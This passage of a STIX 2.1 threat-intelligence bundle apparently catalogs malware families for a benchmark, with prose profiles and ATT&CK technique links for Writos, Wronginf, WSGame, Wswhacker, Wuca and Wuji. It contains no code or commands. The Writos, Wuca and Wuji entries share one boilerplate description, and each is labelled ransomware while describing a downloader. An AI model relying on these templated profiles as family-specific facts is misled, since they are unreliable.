      "description": "Trojan:Win32/Writos is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Writos</b><br>To an end-user, a Writos infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Writos is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Writos is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Writos frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Writos reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Writos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/writos"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22d3f9cf-204d-5e25-884d-eb1d5c7ac176",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bd3fc24-463d-5151-af15-2bd4975b732d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Writos exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5bccf8a6-ac11-53dd-a8cb-ead3860b191d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bd3fc24-463d-5151-af15-2bd4975b732d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Writos exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d150879-87cb-5066-95df-ad5bca530462",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bd3fc24-463d-5151-af15-2bd4975b732d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Writos exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--005faf96-00b2-5793-8492-bb53896c0602",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bd3fc24-463d-5151-af15-2bd4975b732d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Writos exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--135c259f-4bfd-5b85-8a3d-bdcea8ba3429",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bd3fc24-463d-5151-af15-2bd4975b732d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Writos exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b630ffe9-55c0-58cb-9d73-e87d8b4a7007",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wronginf",
      "description": "Wronginf (cataloged under Microsoft Defender and vendor signatures as Rogue:Win32/Wronginf, Trojan:Win32/Wronginf, and Win32:WrongInf) is an aggressive scareware and rogue security application family active since 2011. Wronginf specializes in manipulating Windows setup configuration scripts (.INF files) and system installer routines to bypass standard security alerts and execute silently. Distributed primarily through deceptive advertising networks, fake online virus scanning portals, and bundled freeware wrappers, Wronginf immediately presents the victim with full-screen, unclosable alert banners claiming the workstation is critically infected with hundreds of nonexistent viruses and trojans. To prevent remediation, Wronginf alters system registry policies to disable essential administrative tools\u2014terminating Windows Task Manager (DisableTaskMgr), the Registry Editor (DisableRegistryTools), and Command Prompt. It blocks access to web browsers and legitimate security software while displaying high-pressure countdown timers coercing the victim into purchasing a fraudulent license key. (Observed samples in benchmark: 99)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue:Win32/Wronginf",
        "Trojan:Win32/Wronginf",
        "Win32:WrongInf",
        "Rogue.Wronginf"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wronginf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wronginf"
        }
      ],
      "labels": [
        "rogue_antivirus",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--033134e9-1561-58c7-96e3-99aa6d6cc7d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b630ffe9-55c0-58cb-9d73-e87d8b4a7007",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wronginf exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a52be46-e313-5292-9888-26bc1fd9f455",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b630ffe9-55c0-58cb-9d73-e87d8b4a7007",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wronginf exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0ed30e3-32b5-59b8-8432-3feee02fc5fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b630ffe9-55c0-58cb-9d73-e87d8b4a7007",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wronginf exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--254dde2d-e1f4-5c63-87da-d3030bab3cb3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b630ffe9-55c0-58cb-9d73-e87d8b4a7007",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wronginf exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84712ebf-ba8e-5451-87ad-f853cb17be17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b630ffe9-55c0-58cb-9d73-e87d8b4a7007",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wronginf exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5eff2d1-60b4-5344-a730-c033661fd7c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b630ffe9-55c0-58cb-9d73-e87d8b4a7007",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wronginf exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--14339582-d7f6-5ad8-b2d8-b864ebc43c8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wsgame",
      "description": "WSGame (classified as Trojan:Win32/WSGame and Trojan-GameThief.Win32.WSGame across Microsoft Defender, Kaspersky, and Trend Micro) is a dedicated gaming credential and asset theft trojan targeting popular MMORPG and online gaming platforms (such as World of Warcraft, Lineage, and Steam). Distributed through game cheat engines, bots, modified game clients, and phishing sites, WSGame monitors active window titles and injects DLL hooks into game processes to intercept login credentials, character session tokens, and one-time passwords. WSGame logs entered keystrokes via low-level keyboard hooks and captures network packets related to in-game trading, exfiltrating stolen user credentials to remote command-and-control servers to enable automated virtual asset theft. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/WSGame",
        "Trojan-GameThief.Win32.WSGame",
        "PWS:Win32/WSGame",
        "WSGame Stealer",
        "Win32/WSGame"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wsgame",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wsgame"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b84bfed2-621c-57b6-a84e-69136cacc1a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14339582-d7f6-5ad8-b2d8-b864ebc43c8e",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wsgame exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a586d0b2-69bc-58dc-b645-eaf92ee747dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14339582-d7f6-5ad8-b2d8-b864ebc43c8e",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wsgame exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6cf972d4-eb19-59fe-974e-f1f9c8eca102",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14339582-d7f6-5ad8-b2d8-b864ebc43c8e",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wsgame exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3fef94f-46d0-573f-89fe-5155ebecf97f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14339582-d7f6-5ad8-b2d8-b864ebc43c8e",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wsgame exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bbc5e68-c0f8-53ed-a1b3-5e7a4fff97a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14339582-d7f6-5ad8-b2d8-b864ebc43c8e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wsgame exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--42817007-f9c6-57fb-aed5-3f08aff971d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wswhacker",
      "description": "<h3>Executive Summary</h3>\nWswhacker is a classification assigned to a specific HackTool and dedicated Password Stealer. It is engineered to aggressively extract sensitive authentication data from a compromised Windows workstation, targeting saved credentials in web browsers, local email clients, and FTP software, before silently exfiltrating this intelligence to a remote attacker.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTools like Wswhacker are rarely distributed via automated exploit kits. They are typically deployed manually by a threat actor who has already gained initial access (e.g., via compromised RDP credentials or a reverse shell), or they are bundled within socially engineered, trojanized software packages on file-sharing sites.\n\nOnce executed, Wswhacker is designed for rapid, noisy data extraction:\n<ul>\n<li><strong>Browser and Client Hooking:</strong> The malware immediately targets the local storage databases (SQLite files) and registry keys associated with popular software. It extracts saved plaintext passwords and auto-fill data from Chrome, Firefox, Internet Explorer, Outlook, and FileZilla.</li>\n<li><strong>SAM Database Extraction:</strong> Advanced variants may attempt to dump the Security Account Manager (SAM) database or utilize techniques like Mimikatz (LSASS memory dumping) to extract Windows NTLM hashes for offline cracking or pass-the-hash attacks.</li>\n<li><strong>Automated Exfiltration:</strong> Because Info-stealers do not necessarily need to maintain long-term persistence, Wswhacker quickly bundles the stolen data into a `.txt` or `.zip` file and transmits it to the attacker, often utilizing simple SMTP (email) or FTP protocols.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Wswhacker infection is a critical data breach and a severe indicator of lateral movement capabilities. The immediate theft of local administrator credentials or VPN passwords can lead directly to full domain compromise and massive data exfiltration.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the machine to halt any ongoing data exfiltration and prevent the attacker from utilizing the stolen credentials to pivot to other servers on the LAN.</li>\n<li><strong>Universal Credential Reset:</strong> Assume all passwords saved in the user's browser, local email clients, and the local Windows Administrator account are fully compromised. A comprehensive password reset must be initiated immediately.</li>\n<li><strong>Endpoint Eradication and Investigation:</strong> Utilize enterprise EDR to locate and terminate the Wswhacker process. Crucially, the incident response team must investigate *how* the Wswhacker tool was placed on the system, as its presence often implies a deeper, pre-existing compromise (like a backdoor or vulnerable public-facing service).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.Wswhacker",
        "Trojan.PWS.Wswhacker",
        "Win32/Wswhacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wswhacker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wswhacker"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48162058-adf5-5646-b6f7-10b865756595",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42817007-f9c6-57fb-aed5-3f08aff971d8",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wswhacker exhibits technique T1003 (OS Credential Dumping (Built-in Mimikatz integration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1af14671-d023-5287-a566-11c32ef42416",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42817007-f9c6-57fb-aed5-3f08aff971d8",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wswhacker exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10328eaa-7d05-5dcc-9147-8340bc97baad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42817007-f9c6-57fb-aed5-3f08aff971d8",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wswhacker exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3966b328-85cb-5dd7-a596-d79266e0cff6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42817007-f9c6-57fb-aed5-3f08aff971d8",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wswhacker exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4be8cc1b-6fd4-58f9-be37-e740c808566a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wuca",
      "description": "Trojan:Win32/Wuca is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Wuca</b><br>To an end-user, a Wuca infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Wuca is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Wuca is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Wuca frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Wuca reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wuca",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wuca"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b63228b-542e-5085-99cb-3ea3ec5a7f32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be8cc1b-6fd4-58f9-be37-e740c808566a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wuca exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25b61a1a-c241-5d3f-bd26-7fc76b125134",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be8cc1b-6fd4-58f9-be37-e740c808566a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wuca exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03846887-1a45-58e5-8f6f-574b955aee31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be8cc1b-6fd4-58f9-be37-e740c808566a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wuca exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b74a5d19-ec64-5cad-9c0e-d95f5109a754",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be8cc1b-6fd4-58f9-be37-e740c808566a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wuca exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12703146-5388-5461-b9cd-07c3da3cf4a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4be8cc1b-6fd4-58f9-be37-e740c808566a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wuca exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--22da8f5c-6fd5-5f0d-b176-46a58c21355a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wuji",
      "description": "Trojan:Win32/Wuji is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Wuji</b><br>To an end-user, a Wuji infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Wuji is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Wuji is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Wuji frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Wuji reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wuji",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wuji"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--380830c3-dc86-5302-b2eb-ed8fbbc8d86d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--22da8f5c-6fd5-5f0d-b176-46a58c21355a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wuji exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63fbf95c-2f4b-50ad-9c8b-392a7e945138",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--22da8f5c-6fd5-5f0d-b176-46a58c21355a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wuji exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23390a81-b11b-5436-a8a4-378e82e411e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--22da8f5c-6fd5-5f0d-b176-46a58c21355a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wuji exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94d52a7a-de47-5c74-8108-49ae392f22b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--22da8f5c-6fd5-5f0d-b176-46a58c21355a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wuji exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7226397a-97f0-5118-b11f-e43d422bb505",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--22da8f5c-6fd5-5f0d-b176-46a58c21355a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wuji exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5529cc54-6b85-5b44-86f0-def78fe727d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wyhymyz",
